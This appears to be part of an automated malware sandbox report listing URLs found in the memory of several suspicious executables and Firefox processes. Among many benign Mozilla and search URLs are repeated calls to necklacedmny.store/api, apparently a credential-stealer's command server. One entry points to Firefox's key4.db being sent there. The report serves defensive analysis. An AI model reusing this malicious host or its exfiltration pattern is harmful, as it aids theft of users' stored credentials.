Source: file.exe, 00000000.00000003.1704597486.0000000005617000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2445424972.0000000005528000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2444989095.000000000553F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620063344.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2625293430.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620450934.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2684796731.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2712590082.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711194083.00000000052AD000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711741305.00000000052AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001D.00000003.2574640774.00000214E9700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2576069170.00000214E857B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575848198.00000214E855D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2574947466.00000214E8520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575400943.00000214E853E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: 0bdaf26796.exe, 00000009.00000003.2480450705.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2692072505.0000000005AB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2745093236.0000024B8ADE4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2757325521.0000000005DB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2745372993.000002732A3E9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 0bdaf26796.exe, 00000009.00000003.2480450705.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2692072505.0000000005AB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2745093236.0000024B8ADE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2745372993.000002732A3E9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: 96b4cd4489.exe, 0000000A.00000003.2458240806.000000000514B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000000.2547440322.000000000009C000.00000008.00000001.01000000.00000012.sdmp, 96b4cd4489.exe, 00000022.00000003.2658688178.0000000004E8B000.00000004.00001000.00020000.00000000.sdmp, num[1].exe.8.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 0000001D.00000003.2574640774.00000214E9700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2576069170.00000214E857B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575848198.00000214E855D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2574947466.00000214E8520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575400943.00000214E853E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.1704597486.0000000005617000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2445424972.0000000005528000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2444989095.000000000553F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620063344.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2625293430.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620450934.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2684796731.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2712590082.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711194083.00000000052AD000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711741305.00000000052AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1704597486.0000000005617000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2445424972.0000000005528000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2444989095.000000000553F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620063344.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2625293430.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620450934.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2684796731.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2712590082.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711194083.00000000052AD000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711741305.00000000052AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1704597486.0000000005617000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2445424972.0000000005528000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2444989095.000000000553F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620063344.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2625293430.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620450934.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2684796731.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2712590082.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711194083.00000000052AD000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711741305.00000000052AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001D.00000003.2717859180.00000214F2171000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2710969320.00000214F2171000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001D.00000003.2578265767.00000214E7B33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001D.00000003.2578265767.00000214E7B33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000023.00000002.2745372993.000002732A312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000023.00000002.2745372993.000002732A312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000023.00000002.2745372993.000002732A3C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000023.00000002.2745372993.000002732A3C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000023.00000002.2745372993.000002732A32F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000023.00000002.2745372993.000002732A3C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000023.00000002.2745372993.000002732A3C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001D.00000003.2696194181.00000214F1E96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001D.00000003.2696194181.00000214F1E96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001D.00000003.2574640774.00000214E9700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2576069170.00000214E857B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575848198.00000214E855D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2574947466.00000214E8520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575400943.00000214E853E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: 01b01f6224.exe, 00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000023.00000002.2745372993.000002732A386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001D.00000003.2578265767.00000214E7B33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001D.00000003.2578265767.00000214E7B33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001D.00000003.2578265767.00000214E7B33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001F.00000002.2745093236.0000024B8AD72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2745372993.000002732A386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: 0bdaf26796.exe, 00000019.00000003.2772591374.0000000001453000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2842253806.00000000015F6000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2841601742.00000000015F6000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2805830333.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2678251026.00000000015E5000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2826712800.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2824088172.00000000015F3000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2807038479.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2804030724.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2806881421.00000000015F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: ef2e7274a0.exe, 00000020.00000003.2678251026.00000000015E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/#
Source: 0bdaf26796.exe, 00000009.00000003.2575265074.0000000000E52000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2575819820.0000000000E56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/-
Source: 0bdaf26796.exe, 00000009.00000003.2715576632.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/3
Source: ef2e7274a0.exe, 00000020.00000003.2677155561.00000000015ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/98
Source: file.exe, 00000000.00000003.1870800094.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/K
Source: ef2e7274a0.exe, 00000020.00000003.2805830333.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2826712800.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2824088172.00000000015F3000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2807038479.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2804030724.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2806881421.00000000015F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/L4m
Source: 0bdaf26796.exe, 00000019.00000003.2661322974.000000000146C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/U
Source: file.exe, 00000000.00000003.1703886305.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/V
Source: 0bdaf26796.exe, 00000009.00000003.2459091019.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2551234347.0000000000E52000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2575819820.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2479021002.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715798936.0000000000E51000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2480450705.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2773894482.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2616291484.000000000145A000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2746572800.0000000001452000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2747458010.0000000001455000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2797871494.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2747314550.0000000001453000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2758858066.0000000005DB3000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2824227619.00000000015ED000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2757325521.0000000005DB1000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2759061904.0000000005DB3000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2805830333.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2772304227.0000000005DB3000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2841601742.00000000015F0000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2804030724.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2761017886.0000000005DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: ef2e7274a0.exe, 00000020.00000003.2824227619.00000000015ED000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2805830333.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2841601742.00000000015F0000.00000004.00000020.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2804030724.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api&.
Source: ef2e7274a0.exe, 00000020.00000003.2806029507.0000000005DB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api7
Source: 01b01f6224.exe, 00000025.00000003.2871460120.0000000000661000.00000004.00000020.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2871309824.0000000000661000.00000004.00000020.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2872112819.0000000000662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api9
Source: file.exe, 00000000.00000003.1752693002.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1752852815.0000000000CED000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750048641.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiM3
Source: 0bdaf26796.exe, 00000019.00000003.2773894482.0000000001469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiN
Source: 01b01f6224.exe, 00000025.00000003.2871460120.0000000000661000.00000004.00000020.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2847070895.0000000000663000.00000004.00000020.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2844424466.0000000000663000.00000004.00000020.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2871309824.0000000000661000.00000004.00000020.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2872112819.0000000000662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiV
Source: 0bdaf26796.exe, 00000019.00000003.2789052161.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2823299944.0000000001469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiY
Source: 01b01f6224.exe, 00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apid
Source: file.exe, 00000000.00000003.1733405478.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1732931707.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apioW3
Source: 0bdaf26796.exe, 00000009.00000003.2478367978.0000000000E5E000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2471582287.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2476498592.0000000000E5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/bz5v
Source: 0bdaf26796.exe, 00000019.00000003.2789052161.0000000001463000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/d
Source: 0bdaf26796.exe, 00000009.00000003.2471582287.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2459091019.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2872188389.0000000000665000.00000004.00000020.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2871460120.0000000000661000.00000004.00000020.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2871309824.0000000000661000.00000004.00000020.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2872112819.0000000000662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: 01b01f6224.exe, 00000025.00000003.2844298601.0000000005268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api.default-release/key4.dbPK
Source: 01b01f6224.exe, 00000025.00000003.2797804861.0000000005268000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2844298601.0000000005268000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2798476249.0000000005268000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apig
Source: 01b01f6224.exe, 00000025.00000003.2757401070.0000000005266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apiz
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001D.00000003.2578265767.00000214E7B33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
